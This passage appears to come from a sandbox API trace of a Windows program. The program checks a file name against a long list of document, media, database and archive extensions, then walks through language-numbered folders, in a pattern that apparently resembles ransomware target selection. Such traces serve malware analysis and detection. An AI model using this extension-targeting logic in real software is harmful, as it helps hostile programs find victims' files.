lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".html") returned 5 [0064.174] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0064.174] lstrlenW (lpString=".icb") returned 4 [0064.174] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".ics") returned 4 [0064.174] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".iff") returned 4 [0064.174] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".inc") returned 4 [0064.174] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".indd") returned 5 [0064.174] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0064.174] lstrlenW (lpString=".ini") returned 4 [0064.174] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".iqy") returned 4 [0064.174] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".j2c") returned 4 [0064.174] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".j2k") returned 4 [0064.175] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".java") returned 5 [0064.175] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0064.175] lstrlenW (lpString=".jp2") returned 4 [0064.175] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".jpc") returned 4 [0064.175] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".jpe") returned 4 [0064.175] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".jpeg") returned 5 [0064.175] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0064.175] lstrlenW (lpString=".jpf") returned 4 [0064.175] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".jpg") returned 4 [0064.175] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".jpx") returned 4 [0064.175] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".js") returned 3 [0064.175] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0064.175] lstrlenW (lpString=".jsf") returned 4 [0064.175] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".json") returned 5 [0064.175] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0064.175] lstrlenW (lpString=".jsp") returned 4 [0064.175] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".kdc") returned 4 [0064.175] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".kmz") returned 4 [0064.175] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0064.175] lstrlenW (lpString=".kwm") returned 4 [0064.176] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".lasso") returned 6 [0064.176] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0064.176] lstrlenW (lpString=".lbi") returned 4 [0064.176] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".lgf") returned 4 [0064.176] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".lgp") returned 4 [0064.176] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".log") returned 4 [0064.176] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".m1v") returned 4 [0064.176] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".m4a") returned 4 [0064.176] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".m4v") returned 4 [0064.176] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".max") returned 4 [0064.176] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".md") returned 3 [0064.176] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0064.176] lstrlenW (lpString=".mda") returned 4 [0064.176] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".mdb") returned 4 [0064.176] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".mde") returned 4 [0064.176] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".mdf") returned 4 [0064.176] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0064.176] lstrlenW (lpString=".mdw") returned 4 [0064.176] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mef") returned 4 [0064.177] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mft") returned 4 [0064.177] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mfw") returned 4 [0064.177] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mht") returned 4 [0064.177] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mhtml") returned 6 [0064.177] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0064.177] lstrlenW (lpString=".mka") returned 4 [0064.177] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mkidx") returned 6 [0064.177] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0064.177] lstrlenW (lpString=".mkv") returned 4 [0064.177] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mos") returned 4 [0064.177] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mov") returned 4 [0064.177] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mp3") returned 4 [0064.177] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mp4") returned 4 [0064.177] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mpeg") returned 5 [0064.177] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0064.177] lstrlenW (lpString=".mpg") returned 4 [0064.177] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mpv") returned 4 [0064.177] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".mrw") returned 4 [0064.177] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0064.177] lstrlenW (lpString=".msg") returned 4 [0064.178] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".mxl") returned 4 [0064.178] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".myd") returned 4 [0064.178] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".myi") returned 4 [0064.178] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".nef") returned 4 [0064.178] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".nrw") returned 4 [0064.178] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".obj") returned 4 [0064.178] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".odb") returned 4 [0064.178] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".odc") returned 4 [0064.178] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".odm") returned 4 [0064.178] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".odp") returned 4 [0064.178] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".ods") returned 4 [0064.178] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".oft") returned 4 [0064.178] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".one") returned 4 [0064.178] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0064.178] lstrlenW (lpString=".onepkg") returned 7 [0064.178] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0064.178] lstrlenW (lpString=".onetoc2") returned 8 [0064.178] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0064.178] lstrlenW (lpString=".opt") returned 4 [0064.178] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".oqy") returned 4 [0064.179] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".orf") returned 4 [0064.179] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".p12") returned 4 [0064.179] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".p7b") returned 4 [0064.179] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".p7c") returned 4 [0064.179] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pam") returned 4 [0064.179] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pbm") returned 4 [0064.179] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pct") returned 4 [0064.179] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pcx") returned 4 [0064.179] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pdd") returned 4 [0064.179] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pdf") returned 4 [0064.179] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pdp") returned 4 [0064.179] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pef") returned 4 [0064.179] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pem") returned 4 [0064.179] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pff") returned 4 [0064.179] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pfm") returned 4 [0064.179] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0064.179] lstrlenW (lpString=".pfx") returned 4 [0064.180] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".pgm") returned 4 [0064.180] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".php") returned 4 [0064.180] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".php3") returned 5 [0064.180] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0064.180] lstrlenW (lpString=".php4") returned 5 [0064.180] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0064.180] lstrlenW (lpString=".php5") returned 5 [0064.180] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0064.180] lstrlenW (lpString=".phtml") returned 6 [0064.180] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0064.180] lstrlenW (lpString=".pict") returned 5 [0064.180] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0064.180] lstrlenW (lpString=".pl") returned 3 [0064.180] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0064.180] lstrlenW (lpString=".pls") returned 4 [0064.180] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".pm") returned 3 [0064.180] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0064.180] lstrlenW (lpString=".png") returned 4 [0064.180] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".pnm") returned 4 [0064.180] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".pot") returned 4 [0064.180] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0064.180] lstrlenW (lpString=".potm") returned 5 [0064.180] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0064.180] lstrlenW (lpString=".potx") returned 5 [0064.180] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0064.181] lstrlenW (lpString=".ppa") returned 4 [0064.181] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".ppam") returned 5 [0064.181] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0064.181] lstrlenW (lpString=".ppm") returned 4 [0064.181] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".pps") returned 4 [0064.181] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".ppsm") returned 5 [0064.181] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0064.181] lstrlenW (lpString=".ppt") returned 4 [0064.181] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".pptm") returned 5 [0064.181] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0064.181] lstrlenW (lpString=".pptx") returned 5 [0064.181] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0064.181] lstrlenW (lpString=".prn") returned 4 [0064.181] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".ps") returned 3 [0064.181] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0064.181] lstrlenW (lpString=".psb") returned 4 [0064.181] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0064.181] lstrlenW (lpString=".psd") returned 4 [0064.181] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".pst") returned 4 [0064.182] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".ptx") returned 4 [0064.182] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".pub") returned 4 [0064.182] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".pwm") returned 4 [0064.182] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".pxr") returned 4 [0064.182] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".py") returned 3 [0064.182] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0064.182] lstrlenW (lpString=".qt") returned 3 [0064.182] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0064.182] lstrlenW (lpString=".r3d") returned 4 [0064.182] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".raf") returned 4 [0064.182] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0064.182] lstrlenW (lpString=".rar") returned 4 [0064.182] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.183] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0064.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.183] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0064.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.183] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0064.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.184] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0064.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.184] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0064.185] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.185] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0064.185] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.185] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0064.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.186] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0064.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.186] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0064.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.186] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0064.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.186] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0064.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.186] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0064.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.187] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0064.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.187] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0064.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.187] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0064.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.187] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0064.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.188] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0064.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.188] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, 